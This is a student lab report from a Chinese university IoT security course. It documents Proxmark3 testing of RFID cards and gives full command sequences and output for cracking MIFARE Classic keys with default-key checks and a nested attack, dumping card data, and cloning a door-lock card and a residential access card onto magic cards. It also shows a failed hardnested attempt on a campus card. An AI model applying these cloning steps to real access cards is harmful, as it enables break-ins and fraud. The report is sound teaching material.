

# 物联网安全课程实验报告

## 实验五



实验名称： RFID 安全实验

姓名： 邢清画

小组： 邢清画，田晋宇，肖文翰

学号： 2211999

专业： 物联网工程

提交日期： 2023. 12. 6

## 一、实验目的

了解生活中 RFID 技术的应用及常见安全问题，了解使用 Proxmark 3 RDV2 对 RFID 卡进行安全测试的基本方法。

## 二、实验要求及要点

1. 学习判别 RFID 是低频卡还是高频卡的方法  
分别选取实验盒或生活中的一个高频卡、一个低频卡作为示例写入报告
2. 分析某智能门锁钥匙卡
  - 推测智能门锁钥匙卡工作原理
  - 对门锁钥匙卡进行复制攻击
3. 分析某小区门禁卡
  - 推测门禁卡工作原理
  - 已知小区门禁具有简单“防火墙”，对门禁卡进行复制攻击
  - 思考如何依赖此卡构建其他楼栋的门禁卡？
4. (优先可选) 校园一卡通安全分析
  - 提示 1：如何解密数据？
  - 提示 2：校园卡都具有哪些功能？
5. (可选) 分析生活中其他常见卡
  - 例如银行卡、公交卡、水卡、身份证、家庭电表卡等，自行选择探索
6. (可选) 阅读参考资料中首次提出 RFID 系列攻击的论文，了解其攻击原理

回答问题：

- 1) 为什么不能破解生活中的 RFID 卡来获利？
- 2) 假设某高校校园卡可被任意手机复制门禁功能，可能的原因是什么？
- 3) 为什么学术界安全会议论文、甚至市场上的书籍会详细讨论攻击某现实应用系统的方法？有何利弊？

## 三、实验内容

### 3.1 判别 RFID 是低频卡还是高频卡：

低频 (LF) 卡：通常工作在 125 kHz 或 134.2 kHz。

高频 (HF) 卡：通常工作在 13.56 MHz (如 ISO 14443 标准)。

#### 测试步骤

1. 将卡片靠近 LF 线圈 (125 kHz)：如果卡是低频卡，LF 线圈上会产生显著的电压变化或信号响应。
2. 将卡片靠近 HF 线圈 (13.56 MHz)：如果卡是高频卡，HF 线圈上会出现显著的电压变化或信号响应。
3. 比较两次测试的结果：电压变化更大或信号更强的线圈，通常对应卡片的工作频率。

#### 测试蓝卡

空置状态运行 `hw tune` 命令测量电压，记录下空置状态，然后将卡片放置在

高频和低频线圈上，查看电压变化。

```
[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] 'hw tune' doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[+] 10
[=] ----- LF Antenna -----
[+] LF antenna: 24.12 V - 125.00 kHz
[+] LF antenna: 15.68 V - 134.83 kHz
[+] LF optimal: 27.32 V - 120.00 kHz
[+] Approx. Q factor (*): 7.0 by frequency bandwidth measurement
[+] Approx. Q factor (*): 7.9 by peak voltage measurement
[+] LF antenna is OK
[=] ----- HF Antenna -----
[+] HF antenna: 26.68 V - 13.56 MHz
[+] Approx. Q factor (*): 7.8 by peak voltage measurement
[+] HF antenna is OK

(*) Q factor must be measured without tag on the antenna
[+] Displaying LF tuning graph. Divisor 88 (blue) is 134.83 kHz, 95 (red) is 125.00 kHz.
```

HF 为 26.68V, LF 为 24.12V

然后放到 HF 高频线圈上测量：

```
[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] 'hw tune' doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[+] 10
[=] ----- LF Antenna -----
[+] LF antenna: 24.13 V - 125.00 kHz
[+] LF antenna: 15.68 V - 134.83 kHz
[+] LF optimal: 27.37 V - 120.00 kHz
[+] Approx. Q factor (*): 7.0 by frequency bandwidth measurement
[+] Approx. Q factor (*): 8.0 by peak voltage measurement
[+] LF antenna is OK
[=] ----- HF Antenna -----
[+] HF antenna: 14.86 V - 13.56 MHz
[+] Approx. Q factor (*): 4.3 by peak voltage measurement
[+] HF antenna is OK

(*) Q factor must be measured without tag on the antenna
[+] Displaying LF tuning graph. Divisor 88 (blue) is 134.83 kHz, 95 (red) is 125.00 kHz.
```

观察到 HF Antenna 处值由刚才的 26.68V 降到了 14.86V

放置在 LF 低频线圈上测量：

```
[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] 'hw tune' doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[+] 10
[=] ----- LF Antenna -----
[+] LF antenna: 20.84 V - 125.00 kHz
[+] LF antenna: 18.99 V - 134.83 kHz
[+] LF optimal: 21.76 V - 126.32 kHz
[+] Approx. Q factor (*): 5.4 by frequency bandwidth measurement
```

LF 处的数值基本保持不变，说明这张卡是 HF 高频卡。

测试 5577

放在 LF 低频线圈上测量：

```
[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] 'hw tune' doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[\] 10
[=] ----- LF Antenna -----
[+] LF antenna: 10.61 V - 125.00 kHz
[+] LF antenna: 13.95 V - 134.83 kHz
[+] LF optimal: 15.87 V - 142.86 kHz
[+] Approx. Q factor (*): 4.1 by frequency bandwidth measurement
[+] Approx. Q factor (*): 4.6 by peak voltage measurement
[+] LF antenna is OK
[=] ----- HF Antenna -----
[+] HF antenna: 25.67 V - 13.56 MHz
[+] Approx. Q factor (*): 7.5 by peak voltage measurement
[+] HF antenna is OK

(*) Q factor must be measured without tag on the antenna

[+] Displaying LF tuning graph. Divisor 88 (blue) is 134.83 kHz, 95 (red) is 125.00 kHz.
```

与之前的相比下降很多  
放在 HF 高频线圈上测量：

```
[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] 'hw tune' doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[\] 10
[=] ----- LF Antenna -----
[+] LF antenna: 24.65 V - 125.00 kHz
[+] LF antenna: 15.77 V - 134.83 kHz
[+] LF optimal: 28.26 V - 118.81 kHz
[+] Approx. Q factor (*): 7.5 by frequency bandwidth measurement
[+] Approx. Q factor (*): 8.2 by peak voltage measurement
[+] LF antenna is OK
[=] ----- HF Antenna -----
[+] HF antenna: 9.44 V - 13.56 MHz
[+] Approx. Q factor (*): 2.7 by peak voltage measurement
[+] HF antenna is OK

(*) Q factor must be measured without tag on the antenna

[+] Displaying LF tuning graph. Divisor 88 (blue) is 134.83 kHz, 95 (red) is 125.00 kHz.
```

发现数值也下降了很多，对比刚才下降的 LF 数值，虽然在两个频率下都有下降的变化，但是 HF 下降了一半多，说明这张卡更有可能是 HF 高频卡。

### 3.2 分析某智能门锁钥匙卡

工作原理：

1. 智能门锁钥匙卡通常使用低频（LF）或高频（HF）射频信号进行通信。在这些频率下，电磁波可以在空气中传播并进行远距离的非接触式数据传输。当智能门锁感应到钥匙卡靠近时，门锁中的射频识别（RFID）阅读器会发出一个电磁波信号。这一信号通过感应的方式激活钥匙卡内部的线圈，并利用电磁耦合产生电流。
2. 智能门锁和钥匙卡内都有嵌入的线圈，这些线圈的作用是感应和接收电磁波信号。
  - **门锁端：** 门锁内部的射频读写器会生成一个特定频率的电磁波（如 125 kHz 或 13.56 MHz）。当钥匙卡靠近时，门锁的发射线圈产生交变的电磁场。这一电磁场在钥匙卡的接收线圈中感应出电流，从而为钥匙卡供电，激活其中的微芯片。

- **钥匙卡端：** 钥匙卡中的接收线圈接收到门锁发出的电磁波信号后，会通过电磁耦合原理产生一个电流（感应电流）。这个感应电流供电给钥匙卡上的微芯片，使其能够正常工作并执行下一步任务，如向门锁返回卡内存储的唯一识别信息。
- 3. 当钥匙卡被激活后，卡内的微芯片会向门锁发送特定的身份认证信息，通常是一个唯一的 ID 或加密的信号。
- **通信方式：** 一旦钥匙卡的微芯片接收到门锁的电磁信号并获得能量，它会开始工作，并通过调制电磁信号来与门锁进行通信。这通常是通过载波调制（如幅度调制 AM）或频率调制 FM 来传输信息。
- **门锁验证：** 门锁接收到钥匙卡发送的信号后，会解码信息并进行验证。如果验证成功，门锁就会发出开锁信号，打开门锁；如果验证失败，则拒绝开锁。

## 实验过程：

### 1. 分析智能门锁钥匙卡信息

将门锁卡放在高频线圈上，运行 pm3.bat, 使用语句 hf 14a reader, 可以对门锁卡进行初步的读取，可以读取出门锁卡的 UID, ATQA, SAK 等信息：

```
[usb] pm3 --> hf 14a reader
[+] UID: 36 2E E2 0B
[+] ATQA: 00 04
[+] SAK: 08 [2]
[=] field dropped.
[usb] pm3 -->
```

使用语句 hf search 可以发现门卡的类型为 MIFARE Classic 1K。

MIFARE Classic 1K 是一种基于 RFID (Radio Frequency Identification) 技术的非接触式智能卡，属于 13.56 MHz 高频 (HF) ISO/IEC 14443 Type A 标准的卡片类型。

```
[usb] pm3 --> hf search
[/] Searching for ISO14443-A tag...
[+] UID: 36 2E E2 0B
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Possible types:
[+] MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Magic capabilities : Gen 1a
[+] Prng detection: weak
[#] Auth error
[?] Hint: try `hf mf` commands
```

再使用语句 hf mf chk --1k 对门锁卡进行密钥破解：

```

[usb] pm3 --> hf mf chk
[=] No key specified, trying default keys
[ 0] ffffffffffffffff
[ 1] 00000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5
[ 4] c0c1c2c3c4c5
[ 5] d0d1d2d3d4d5
[ 6] aabbccddeeff
[ 7] 1a2b3c4d5e6f
[ 8] 123456789abc
[ 9] 010203040506
[10] 123456abcdef
[11] abcdef123456
[12] 4d3a99c351dd
[13] 1a982c7e459a
[14] d3f7d3f7d3f7
[15] 714c5c886e97
[16] 587ee5f9350f
[17] a0478cc39091
[18] 533cb6c723f6
[19] 8fd0a4f256e9
[20] 0000014b5c31
[21] b578f38a5c61
[22] 96a301bce267
[=] Start check for keys...
[=] .....[#] Card didn't answer to CL1 select all
.....[#] Card didn't answer to select
.....
[=] time in checkkeys 4 seconds
[=] testing to read key B...

```

上面是一些常用的默认密钥，下面是破解的结果：

```

[+] found keys:

```

| [+] | Sec | key A          | res | key B          | res |
|-----|-----|----------------|-----|----------------|-----|
| [+] | 000 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 001 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 002 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 003 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 004 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 005 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 006 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 007 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 008 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 009 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 010 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 011 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 012 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 013 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 014 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| [+] | 015 | ffffffffffffff | 1   | ffffffffffffff | 1   |

```

[+] ( 0:Failed / 1:Success )

```

发现破译出的密钥 Key A 和 Key B 全都是 ffffffffffff, 并且发现扇区内部储存的数据都为空, 明确此门锁卡是针对于 UID 进行识别的机制, 所以只要复制此卡的 UID 到新卡上即可完成复制。

## 2. 复制攻击

取一张新的钥匙卡，使用语句 `hf 14a reader` 查看新卡信息：

```
[usb] pm3 --> hf search
[\\] Searching for ISO14443-A tag...
[+] UID: 13 BD D7 E4
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Possible types:
[+] MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Prng detection: weak
[#] Auth error
[?] Hint: try `hf mf` commands
```

这张卡不是 magic card，我们尝试写入 UID 会发生错误，换红色无标记的卡进行测试：

```
[usb] pm3 --> hf search
[\\] Searching for ISO14443-A tag...
[+] UID: 01 02 03 04
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Possible types:
[+] MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Magic capabilities : Gen 1a
[#] BCC0 incorrect, got 0x02, expected 0x82
[#] Aborting
[#] Auth error
[?] Hint: try `hf mf` commands
```

含有 magic capabilities: Gen 1a 标识，说明这张卡是 magic card。

将新卡放置在高频线圈上，使用语句 `hf mf csetuid -u 362EE20B` 表示将门锁卡的 UID:362EE20B 复制到新卡中

```
[usb] pm3 --> hf mf csetuid -u 362EE20B
[+] old block 0... 01020304040804006263646566676869
[+] new block 0... 362EE20BF10804006263646566676869
[+] Old UID... 01 02 03 04
[+] New UID... 36 2E E2 0B ( verified )
```

复制成功后查看新卡的信息，发现 UID 已经变成门锁卡，复制成功

```
[usb] pm3 --> hf 14a reader
[+] UID: 36 2E E2 0B
[+] ATQA: 00 04
[+] SAK: 08 [2]
[=] field dropped.
```

所以认为门锁卡的原理就是使用 UID 进行身份验证。用户在验证时提供 UID，系统通过验证这个 UID 来确定用户的身份。

## 3. 分析某小区门禁卡

使用 `hf search` 查看卡的基本信息（刚刚不是 magic card 那一张）

```
[usb] pm3 --> hf search
[\\] Searching for ISO14443-A tag...
[+] UID: 13 BD D7 E4
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Possible types:
[+] MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Prng detection: weak
[#] Auth error
[?] Hint: try `hf mf` commands
```

这张卡是一张 1K 卡，我们使用 `hf mf chk` 进行破解

```
[+] found keys:
[+] |-----|-----|-----|-----|-----|
[+] | Sec | key A | res | key B | res |
[+] |-----|-----|-----|-----|-----|
[+] | 000 | ffffffff | 1 | ffffffff | 1 |
[+] | 001 | ffffffff | 1 | ffffffff | 1 |
[+] | 002 | ffffffff | 1 | ffffffff | 1 |
[+] | 003 | ----- | 0 | ----- | 0 |
[+] | 004 | ----- | 0 | ----- | 0 |
[+] | 005 | ffffffff | 1 | ffffffff | 1 |
[+] | 006 | ffffffff | 1 | ffffffff | 1 |
[+] | 007 | ffffffff | 1 | ffffffff | 1 |
[+] | 008 | ffffffff | 1 | ffffffff | 1 |
[+] | 009 | ffffffff | 1 | ffffffff | 1 |
[+] | 010 | ffffffff | 1 | ffffffff | 1 |
[+] | 011 | ffffffff | 1 | ffffffff | 1 |
[+] | 012 | ffffffff | 1 | ffffffff | 1 |
[+] | 013 | ffffffff | 1 | ffffffff | 1 |
[+] | 014 | ffffffff | 1 | ffffffff | 1 |
[+] | 015 | ffffffff | 1 | ffffffff | 1 |
[+] |-----|-----|-----|-----|-----|
[+] ( 0:Failed / 1:Success )
```

发现三四扇区进行了加密，由于我们已经知道了某些扇区的密钥，我们可以使用 `nested attack` 进行攻击。输入指令：

```
hf mf nested --1k --blk 0 -a -k ffffffff
```

- `hf mf nested` 表示使用 Nested Attack 破解 MIFARE Classic 卡的密钥。
- `--1k` 指定目标卡片为 MIFARE Classic 1K 卡。
- `--blk 0` 表示针对卡片的第 0 扇区第 0 块进行攻击（制造商块）。
- `-a` 指定使用 Key A 作为已知密钥。
- `-k ffffffff` 提供一个已知的 Key A，即默认密钥 ffffffff：

```
[usb] pm3 --> hf mf nested --1k --blk 0 -a -k ffffffff
[+] Testing known keys. Sector count 16
[=] Chunk: 0.8s | found 28/32 keys (24)
[+] Time to check 23 known keys: 1 seconds

[+] enter nested key recovery
[+] Found 1 key candidates

[+] target block: 12 key type: A -- found valid key [ 304537324637]

[=] Chunk: 0.5s | found 4/32 keys (1)
[+] time in nested 2 seconds

[=] trying to read key B...
```

```
[+] found keys:
```

| [+] | Sec | key A            | res | key B            | res |
|-----|-----|------------------|-----|------------------|-----|
| [+] | 000 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 001 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 002 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 003 | 304537324637     | 1   | 373839414243     | 1   |
| [+] | 004 | 304537324637     | 1   | 373839414243     | 1   |
| [+] | 005 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 006 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 007 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 008 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 009 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 010 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 011 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 012 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 013 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 014 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |
| [+] | 015 | ffffffffffffffff | 1   | ffffffffffffffff | 1   |

```
[+] ( 0:Failed / 1:Success )
```

使用语句 `hf mf autopwn` 将此 key 保存下来，替换之前旧的错误的 key 文件  
使用语句 `hf mf dump` 下载全部卡上数据到本地文件：

```
[+] successfully read block 0 of sector 15.
[+] successfully read block 1 of sector 15.
[+] successfully read block 2 of sector 15.
[+] successfully read block 3 of sector 15.
[+] time: 7 seconds

[+] Succeeded in dumping all blocks

[+] saved 1024 bytes to binary file hf-mf-13BDD7E4-dump-2.bin
[+] saved 64 blocks to text file hf-mf-13BDD7E4-dump-2.eml
[+] saved to json file hf-mf-13BDD7E4-dump-2.json
```

观察扇区里的内容，以及对应的含义：

```

1  {
2    "Created": "proxmark3",
3    "FileType": "mfcard",
4    "blocks": {
5      "0": "13BDD7E49D0804000282C0C7DECE691D", UID
6      "1": "00000000000000000000000000000000",
7      "2": "00000000000000000000000000000000",
8      "3": "FFFFFFFFFFFFFFFF078069FFFFFFFFFFFFFF",
9      "4": "00000000000000000000000000000000",
10     "5": "00000000000000000000000000000000",
11     "6": "00000000000000000000000000000000",
12     "7": "FFFFFFFFFFFFFFFF078069FFFFFFFFFFFFFF",
13     "8": "00000000000000000000000000000000",
14     "9": "00000000000000000000000000000000",
15     "10": "00000000000000000000000000000000",
16     "11": "FFFFFFFFFFFFFFFF078069FFFFFFFFFFFFFF",
17     "12": "050D05E10B0302010121031124083100",
18     "13": "3F000000000000000000000000000070",
19     "14": "00000000000000000000000000000000",
20     "15": "304537324637FF078069373839414243", 扇区密码
21     "16": "00000000000000000000000000000000",

```

内容：可能包含楼宇、日期等信息

下载下来后，使用 magic card:

```

[+] found keys:

```

| Sec | key A | res | key B | res |
|-----|-------|-----|-------|-----|
| 000 | ----- | 0   | ----- | 0   |
| 001 | ----- | 0   | ----- | 0   |
| 002 | ----- | 0   | ----- | 0   |
| 003 | ----- | 0   | ----- | 0   |
| 004 | ----- | 0   | ----- | 0   |
| 005 | ----- | 0   | ----- | 0   |
| 006 | ----- | 0   | ----- | 0   |
| 007 | ----- | 0   | ----- | 0   |
| 008 | ----- | 0   | ----- | 0   |
| 009 | ----- | 0   | ----- | 0   |
| 010 | ----- | 0   | ----- | 0   |
| 011 | ----- | 0   | ----- | 0   |
| 012 | ----- | 0   | ----- | 0   |
| 013 | ----- | 0   | ----- | 0   |
| 014 | ----- | 0   | ----- | 0   |
| 015 | ----- | 0   | ----- | 0   |

```

( 0:Failed / 1:Success )

```

发现这是一张空白卡，没有任何密码，不能直接写入，我们使用 cview 指令查看

这张卡的密钥:

```
[usb] pm3 --> hf mf cview
[+] View magic Gen1a MIFARE Classic 1K
[=] .....

[=] -----+-----+-----+
[=] blk | data | ascii
[=] -----+-----+-----+
[=] 0 | 37 2F F3 1C F7 08 04 00 62 63 64 65 66 67 68 69 | 7/.....bcdefghi
[=] 1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 2 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 3 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .....i.....
[=] 4 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 5 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 6 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 7 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .....i.....
[=] 8 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 9 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 10 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 11 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .....i.....
[=] 12 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 13 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 14 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 15 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .....i.....
[=] 16 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 17 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 18 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 19 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .....i.....
[=] 20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
[=] 21 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....
```

猜测每个门卫可能都有一个对应的号码,前面红色的部分是 UID。在门禁系统中,通常会先验证门号(或楼号),然后再验证 UID。如果系统仅依赖 UID 进行验证,攻击者可以通过修改 Magic 卡的 UID 来伪造其他楼栋的门禁卡。如果系统还依赖卡片内部的数据进行验证,那么伪造门禁卡就需要修改卡片特定扇区的数据。

使用 `hf mf cwipe` 指令清除扇区的内容:

```
[usb] pm3 --> hf mf cwipe
[/] wipe block 9[#] write block send data error
[!] retry block 9 ...
[/] wipe block 12[#] write block send data error
[!] retry block 12 ...
[/] wipe block 62[#] write block send command error
[!] retry block 62 ...
[-] wipe block 63
[+] Card wiped successfully
```

再使用语句 `hf mf restore` 将之前保存在本地的数据上传至新卡中,完成信息的复制模拟即可

```

[usb] pm3 --> hf mf restore
[=] Restoring hf-mf-AE2BA03F-dump.bin to card
[=] block 0: AE 2B A0 3F 1A 08 04 00 02 64 29 2A 83 D5 2F 1D
[=] block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 2: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 3: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF
[=] block 4: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 5: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 6: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 7: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF
[=] block 8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 9: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 11: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF
[=] block 12: 05 0D 05 E1 0B 03 02 01 01 21 03 11 24 08 31 00
[=] block 13: 3F 00 00 00 00 00 00 00 00 00 00 00 00 00 70
[=] block 14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 15: 30 45 37 32 46 37 FF 07 80 69 37 38 39 41 42 43
[=] block 16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 17: 00 00 00 00 00 00 00 80 01 00 00 00 00 00 00
[=] block 18: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 19: 30 45 37 32 46 37 FF 07 80 69 37 38 39 41 42 43
[=] block 20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 21: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 22: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 23: FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF
[=] block 24: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[=] block 25: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

认为门禁卡的原理是读卡器可能使用事先共享的密钥对卡片上的信息进行解密，读取到卡片上的信息后，门禁系统会将这些信息与系统中存储的用户权限信息进行比对，验证正确后才会通过。

如果此卡已经复制完成，其他楼栋的卡可能只是扇区中储存的数据有所改变或密钥有所改变，只需要更改扇区中的数据和密钥就可以通过其他楼栋的验证。

(优先可选) 校园一卡通安全分析

在第一部分的实验中，我们知道校园卡属于高频卡

```

[usb] pm3 --> hw tune
[=] ----- Reminder -----
[=] `hw tune` doesn't actively tune your antennas,
[=] it's only informative.
[=] Measuring antenna characteristics, please wait...
[\] 10
[=] ----- LF Antenna -----
[+] LF antenna: 20.42 V - 125.00 kHz
[+] LF antenna: 12.36 V - 134.83 kHz
[+] LF optimal: 29.93 V - 116.50 kHz
[+] Approx. Q factor (*): 8.3 by frequency bandwidth measurement
[+] Approx. Q factor (*): 8.7 by peak voltage measurement
[+] LF antenna is OK
[=] ----- HF Antenna -----
[+] HF antenna: 10.17 V - 13.56 MHz
[+] Approx. Q factor (*): 3.0 by peak voltage measurement
[+] HF antenna is OK

(*) Q factor must be measured without tag on the antenna

```

```

[usb] pm3 --> hf search
[-] Searching for ISO14443-A tag...
[+] UID: 0C C9 81 E1
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Possible types:
[+]   MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Prng detection: weak
[#] Auth error
[?] Hint: try `hf mf` commands

```

使用 hf mf chk 查看密钥:

```

[+] found keys:

```

| Sec | key A          | res | key B          | res |
|-----|----------------|-----|----------------|-----|
| 000 | -----          | 0   | -----          | 0   |
| 001 | -----          | 0   | -----          | 0   |
| 002 | -----          | 0   | -----          | 0   |
| 003 | -----          | 0   | -----          | 0   |
| 004 | -----          | 0   | -----          | 0   |
| 005 | -----          | 0   | -----          | 0   |
| 006 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 007 | -----          | 0   | ffffffffffffff | 1   |
| 008 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 009 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 010 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 011 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 012 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 013 | -----          | 0   | ffffffffffffff | 1   |
| 014 | ffffffffffffff | 1   | ffffffffffffff | 1   |
| 015 | ffffffffffffff | 1   | ffffffffffffff | 1   |

```

[+] ( 0:Failed / 1:Success )

```

许多扇区的密钥是修改过的, 尝试 nested 攻击:

```

[usb] pm3 --> hf mf nested -a -k ffffffffffffffff --blk 24 --tblk 0 --ta
[+] Testing known keys. Sector count 1
[=] Chunk: 0.4s | found 0/2 keys (24)
[+] Time to check 23 known keys: 0 seconds

[+] enter nested key recovery
[-] Tag isn't vulnerable to Nested Attack (PRNG is not predictable).

```

发现校园卡不能用 PRNG 攻击, 不能用伪随机树, 进一步尝试 hardnested 攻击:

```
[usb] pm3 --> hf mf hardnested --blk 24 -a -k ffffffffff --tblk 0 --ta
[=] Target block no 0, target key type: A, known target key: 000000000000 (not set)
[=] File action: none, Slow: No, Tests: 0
[+] Using AVX2 SIMD core.
[-] Error - can't find 'hardnested_bf_bench_data.bin'
Couldn't read benchmark data. Assuming brute force rate of 120000000 states per second
```

| time | #nonces | Activity                                           | expected to brute force<br>#states | time |
|------|---------|----------------------------------------------------|------------------------------------|------|
| 0    | 0       | Start using 20 threads and AVX2 SIMD core          |                                    |      |
| 0    | 0       | Brute force benchmark: 120 million (2^26.8) keys/s | 140737488355328                    | 14d  |
| 1    | 0       | Using 0 precalculated bitflip state tables         | 140737488355328                    | 14d  |

发现耗费时间比较长, 至少需要 14 天, 但实际上根本不能执行这么久, 而且信息可信度未知。

使用 HardNested 进行破解, 三天仍未能破解成功, 扇区 0 被加密, 猜测是因为校园卡防护变强了。

## 四、回答问题

### 1. 为什么不能破解生活中的 RFID 卡来获利?

答:

最重要的一点! 这是违法的行为! 不能将此知识技术用于不道德的违法行为获利!

#### 1.1 法律层面

**侵犯财产权和知识产权:** 很多 RFID 卡涉及到商业机构或者个人的财产权益。例如, 公交卡里面预存的金额是用户的个人财产, 破解公交卡来非法获取乘车次数或者余额, 属于侵犯用户的财产权。同时, 这些卡片的技术是相关公司投入大量研发资金所拥有的知识产权成果。未经授权的破解行为涉嫌侵犯知识产权, 这是明显的违法行为。

**违反金融安全法规:** 如果是银行卡等金融类 RFID 卡, 破解它们来获取资金信息更是严重违反金融安全法规。各国都有严格的法律来保护金融交易的安全, 如《中华人民共和国刑法》规定, 对于盗窃信用卡并使用的, 依照盗窃罪定罪处罚; 对于非法获取计算机信息系统数据等行为, 也会受到法律制裁。这种破解行为可能构成金融诈骗、盗窃等犯罪行为。

**破坏社会安全秩序:** 门禁卡等用于安全管理的 RFID 卡, 其目的是保障特定区域的安全。破解门禁卡可能导致非法入侵, 威胁公共安全和私人场所的安全秩序。例如, 破解小区门禁卡进入小区可能会引发盗窃等违法犯罪活动, 影响社区居民的正常生活和财产安全。

#### 1.2 道德层面

**损害社会公平和信任:** 破解 RFID 卡获利是一种不正当的手段。这种行为破坏了社会公平原则, 正常的用户是通过合法的渠道购买或者使用这些卡片服务, 而破

解者通过非法手段获取利益，这对于其他遵守规则的人是不公平的。而且这种行为也会导致公众对相关服务和技术的信任度下降，例如，如果公交卡频繁被破解，人们可能会对公共交通的票务系统产生怀疑。

